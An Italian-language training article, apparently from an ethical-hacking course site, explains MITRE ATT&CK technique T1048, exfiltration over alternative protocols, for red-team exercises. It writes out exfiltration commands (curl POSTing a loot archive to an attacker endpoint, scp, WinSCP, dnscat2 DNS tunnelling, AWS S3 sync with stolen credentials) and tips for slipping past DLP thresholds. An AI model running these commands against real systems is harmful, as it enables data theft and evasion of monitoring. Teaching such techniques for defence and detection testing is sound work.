Esfiltrazione su Protocollo Alternativo: Exfiltration Over Alternative Protocol (T1048)

La tecnica T1048 – Exfiltration Over Alternative Protocol descrive la sottrazione di dati attraverso un canale di rete diverso da quello usato per il command and control. L'idea di fondo è semplice ma efficace: se il traffico C2 viaggia su HTTPS verso un dominio noto al difensore, spostare i dati rubati su FTP, SMTP, DNS, SMB o verso un endpoint cloud completamente separato riduce la probabilità di correlazione e permette di aggirare regole di monitoraggio focalizzate sul canale principale.

La tecnica si colloca nella tattica TA0010 (Exfiltration), tipicamente nelle fasi finali della kill chain, dopo Collection e spesso preceduta da compressione o cifratura del payload. Gli avversari sfruttano utility native come ftp.exe, curl, scp, smbclient, oppure invocano direttamente API SaaS/IaaS (Microsoft Exchange, SharePoint, GitHub, AWS S3) per scaricare file, mailbox o repository sorgente attraverso interfacce web autorizzate.

Secondo i dati MITRE, la tecnica è associata a 2 gruppi APT documentati e a 7 famiglie di malware, con impiego che spazia dal furto di credenziali (Kobalos su UDP), all'esfiltrazione di dati carta di credito via DNS tunneling (FrameworkPOS), fino allo scarico diretto di file OneDrive tramite API cloud (AADInternals). Le 6 mitigazioni raccomandate combinano segmentazione di rete, DLP, filtering egress e restrizioni IAM sui bucket cloud, riflettendo la natura ibrida della minaccia tra endpoint tradizionali e infrastrutture cloud.

In un esercizio red team, T1048 si simula scegliendo un protocollo diverso dal canale C2 primario e testando la reazione dei controlli egress. La regola d'oro è mantenere la separazione tra i due canali: se il C2 usa HTTPS su porta 443, l'esfiltrazione dovrebbe transitare su DNS, SMTP o un provider cloud lecito.

Su Linux e macOS, curl (open source) resta il coltellino svizzero. Un comando tipico per inviare un archivio a un endpoint web controllato è curl -s -L -o /dev/null -X POST --data-binary @/tmp/loot.tar.gz https-endpoint-attacker, dove il flag -s silenzia l'output e -L segue i redirect. Bundlore utilizza esattamente il pattern curl -s -L -o per scaricare e caricare archivi, quindi replicarlo permette di validare le detection basate su questa signature. Per SFTP, scp -P 2222 loot.tar.gz user@host:/incoming/ fornisce cifratura nativa e spesso passa i firewall come traffico SSH legittimo.

Su Windows, oltre al classico ftp.exe -s:script.txt, gli operatori moderni preferiscono WinSCP (open source) — lo stesso tool documentato per il gruppo Play — invocabile in modalità script con winscp.com /command "open sftp://user:pass@host" "put C:\temp\loot.zip" "exit". Anche bitsadmin /transfer e i cmdlet PowerShell Invoke-WebRequest / Invoke-RestMethod restano validi per test rapidi.

Per simulare DNS tunneling — pattern usato da FrameworkPOS per esfiltrare dati carta — tool come dnscat2 (open source) e iodine (open source) creano tunnel bidirezionali su query TXT o NULL. Un lab tipico prevede di configurare un name server autoritativo su un dominio controllato e lanciare dnscat2-client --dns server=ns.lab.local, misurando quanti byte al secondo passano prima che l'IDS generi alert.

Per l'esfiltrazione cloud-native, AADInternals (open source, PowerShell) permette di scaricare file OneDrive con credenziali valide tramite Get-AADIntOneDriveFiles, simulando il comportamento di un attaccante con token rubati. Su AWS, aws s3 sync s3://target-bucket/ ./loot/ --profile stolen replica lo scarico massivo di bucket usando credenziali IAM compromesse.

Un payload realistico include compressione (tar czf o 7z a -pPassword), suddivisione in chunk da 5-10 MB per aggirare soglie DLP, e randomizzazione degli intervalli tra le richieste. Documentare la baseline pre-test e il volume esfiltrato è essenziale per valutare l'efficacia dei controlli.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.
We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.